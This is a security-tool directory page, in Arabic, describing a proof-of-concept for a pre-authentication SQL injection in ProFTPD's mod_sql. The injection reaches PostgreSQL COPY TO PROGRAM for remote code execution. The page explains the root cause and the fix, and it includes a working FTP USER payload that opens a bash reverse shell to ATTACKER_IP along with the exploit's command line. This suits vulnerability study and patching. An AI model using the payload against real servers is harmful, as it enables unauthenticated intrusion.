Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-42167-PoC — # ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في ProFTPD عبر تجاوز is_escaped_text() في mod_sql (CVE-2026-42167) | Kitploit
أدوات/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

# ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في ProFTPD عبر تجاوز is_escaped_text() في mod_sql (CVE-2026-42167)

عرض المستودع
10منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-42167 POC

تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في ProFTPD عبر حقن SQL في mod_sql

المؤلف: Van Glenndon Enad

الاكتشاف الأصلي: ZeroPath

تاريخ النشر: 1 مايو 2026

الخطورة: حرجة

درجة CVSS v3.1: 8.1

متجه CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

درجة CVSS v2: 7.6

متجه CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (حقن SQL)، CWE-78 (حقن أوامر نظام التشغيل)


جدول المحتويات

  1. الملخص التنفيذي
  2. البرمجيات المتأثرة
  3. وصف الثغرة
  4. تحليل السبب الجذري
  5. المتطلبات الأساسية
  6. سلسلة الاستغلال
  7. تحليل الحمولة
  8. إثبات المفهوم
  9. الأثر
  10. المعالجة
  11. المراجع
  12. الجدول الزمني للإفصاح

الملخص التنفيذي

CVE-2026-42167 هي ثغرة حرجة لحقن SQL قبل المصادقة في وحدة الامتداد mod_sql الخاصة بـ ProFTPD. يسمح خلل منطقي في دالة is_escaped_text() لمهاجم غير مصادق بتجاوز تهريب أحرف SQL من خلال صياغة أمر USER تستوفي قيمته معيارًا خاطئًا لـ"تم التهريب بالفعل". يتم تمرير SQL المحقون مباشرة إلى قاعدة البيانات الخلفية عبر PQexec()، والتي تدعم الاستعلامات المكدسة.

عندما يكون دور قاعدة بيانات ProFTPD مستخدمًا خارقًا في PostgreSQL — وهو سوء تكوين شائع في النشر الحاوي — يصل الحقن إلى توجيه COPY TO PROGRAM الخاص بـ PostgreSQL، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد على مستوى نظام التشغيل بدون مصادقة كمستخدم النظام postgres. لا حاجة لبيانات اعتماد، ولا وصول مسبق، ولا تفاعل من المستخدم.


البرمجيات المتأثرة

المكوّنالإصدار
ProFTPD≤ 1.3.9
الوحدةmod_sql + mod_sql_postgres
الإصدار المُصلَح1.3.9a (صدر في 27 أبريل 2026)
قاعدة البيانات الخلفيةPostgreSQL (RCE)؛ MySQL / SQLite (تجاوز المصادقة فقط)

ProFTPD هو خادم FTP مفتوح المصدر واسع الانتشار. وفقًا لـ Shodan، يوجد أكثر من 160,000 مثيل ProFTPD متاح للجمهور على الإنترنت. وحدة mod_sql مفعّلة بشكل شائع في لوحات تحكم الاستضافة المشتركة بما في ذلك cPanel وPlesk وDirectAdmin وWebmin وISPConfig.


وصف الثغرة

تدعم وحدة mod_sql في ProFTPD المصادقة وتسجيل النشاط المستندين إلى SQL. يمكن أن تتضمن سلاسل تنسيق السجل متغيرات استبدال مثل %U (اسم المستخدم) و%r (المضيف البعيد) و%m (أمر FTP). يتم توسيع هذه المتغيرات في وقت التشغيل وإدراجها في استعلامات SQL المنفذة ضد قاعدة البيانات الخلفية المكوّنة.

تكوين ضعيف نموذجي:

LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

في هذا التكوين، يتم استبدال القيمة المقدمة في أمر FTP USER بـ %U وإدراجها مباشرة في عبارة SQL INSERT. قبل الإدراج، تمر القيمة عبر is_escaped_text() لتحديد ما إذا كانت تحتاج إلى تهريب. تحتوي هذه الدالة على خلل منطقي حرج.


تحليل السبب الجذري

دالة is_escaped_text() المعيبة

تقع في contrib/mod_sql.c، وتطبق الدالة المعيار التالي لتقرر ما إذا كانت السلسلة "تم تهريبها بالفعل":

static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* Assume the string is escaped if:
   *   1. It starts with a single quote
   *   2. It ends with a single quote
   *   3. It contains no internal single quotes
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* skip escaping */
  }
  return FALSE;
}

عندما ترجع هذه الدالة TRUE، تقوم sql_resolved_append_text() (السطر 777) بإدراج القيمة الخام غير المهربة مباشرة في سلسلة الاستعلام. ثم يتم تنفيذ القيمة بواسطة PQexec() في contrib/mod_sql_postgres.c (السطر 1146)، والتي تدعم الاستعلامات المكدسة (متعددة العبارات).

لماذا يفشل المعيار

كان المعيار على الأرجح يهدف إلى اكتشاف السلاسل المحاطة بالفعل بمحددات سلاسل SQL. ومع ذلك، لا يحاول التحقق من أن المحتوى الداخلي آمن — فقط يتحقق من عدم وجود علامات اقتباس مفردة إضافية. هذا يعني أن أي حمولة:

  • تبدأ بـ '
  • تنتهي بـ '
  • لا تستخدم علامات اقتباس مفردة داخليًا (على سبيل المثال، تستخدم اقتباس الدولار $$ الخاص بـ PostgreSQL بدلاً من ذلك)

...ستجتاز الفحص ويتم حقنها حرفيًا في استعلام SQL.

تدفق الحقن

FTP Client                ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ expand %U = '<payload>' │
    │                         │ is_escaped_text() = TRUE│
    │                         │ skip escaping           │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ execute stacked SQL
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── shell command ──▶ OS

المتطلبات الأساسية

المتطلبملاحظات
تفعيل mod_sql مع تسجيل SQLيجب تسجيل متغير قبل المصادقة مثل %U
قاعدة بيانات PostgreSQL خلفيةمطلوبة لـ COPY TO PROGRAM RCE؛ MySQL/SQLite لا تزال تسمح بتجاوز المصادقة
دور قاعدة البيانات هو مستخدم خارق في PostgreSQLCOPY TO PROGRAM مقيد بالمستخدمين الخارقين أو أعضاء pg_execute_server_program
توفر bash على مضيف قاعدة البياناتمطلوب لتسليم الصدفة العكسية عبر /dev/tcp
إمكانية الوصول عبر الشبكةيجب أن تكون حاوية PostgreSQL قادرة على الوصول إلى المهاجم على منفذ المستمع

غالبًا ما يتم استيفاء شرط المستخدم الخارق في النشر الحاوي حيث يتم إنشاء مستخدم قاعدة بيانات ProFTPD عبر POSTGRES_USER=... في صورة Docker الرسمية لـ PostgreSQL، أو عندما يمنح المسؤول دور ProFTPD ملكية قاعدة البيانات.


سلسلة الاستغلال

Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
        │
        ▼
Step 2: ProFTPD expands %U with attacker-controlled value
        │
        ▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
        │
        ▼
Step 4: PQexec() executes stacked query against PostgreSQL
        │
        ▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
        │
        ▼
Step 6: Reverse shell / file exfiltration delivered to attacker

تحليل الحمولة

يتم تسليم حمولة الحقن عبر أمر FTP USER:

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

التحقق من شرط التجاوز

الشرطمستوفى؟السبب
تبدأ بـ '✅الحرف الأول هو '
تنتهي بـ '✅الحرف الأخير هو '
لا توجد علامات اقتباس مفردة داخلية✅السلاسل الداخلية تستخدم اقتباس الدولار $$

تفصيل الحمولة

المقطعالغرض
', null, null);يغلق عبارة INSERT الأصلية بشكل نظيف
COPY (SELECT $$x$$) TO PROGRAMاستعلام مكدس يستخدم COPY TO PROGRAM الخاص بـ PostgreSQL
$$bash -c ...$$أمر شل يستخدم اقتباس الدولار $$ لتجنب علامات الاقتباس المفردة
; --'ينهي الاستعلام المكدس؛ --' يعلّق على الباقي ويوفر علامة الاقتباس المغلقة ' للتجاوز

إثبات المفهوم

تحذير: هذا PoC مقدم لأغراض تعليمية واختبار مصرح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.

الاستخدام النموذجي:

python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT

الأثر

الفئةالوصف
السريةوصول قراءة كامل لنظام الملفات كمستخدم نظام التشغيل postgres
السلامةالقدرة على كتابة الملفات، تعديل محتويات قاعدة البيانات، تثبيت أبواب خلفية
التوفرانقطاع الخدمة، تدمير البيانات ممكن
المصادقةقابل للاستغلال بدون أي بيانات اعتماد قبل المصادقة
النطاقيمتد إلى ما بعد ProFTPD إلى مضيف PostgreSQL الأساسي
تنزيل الأداة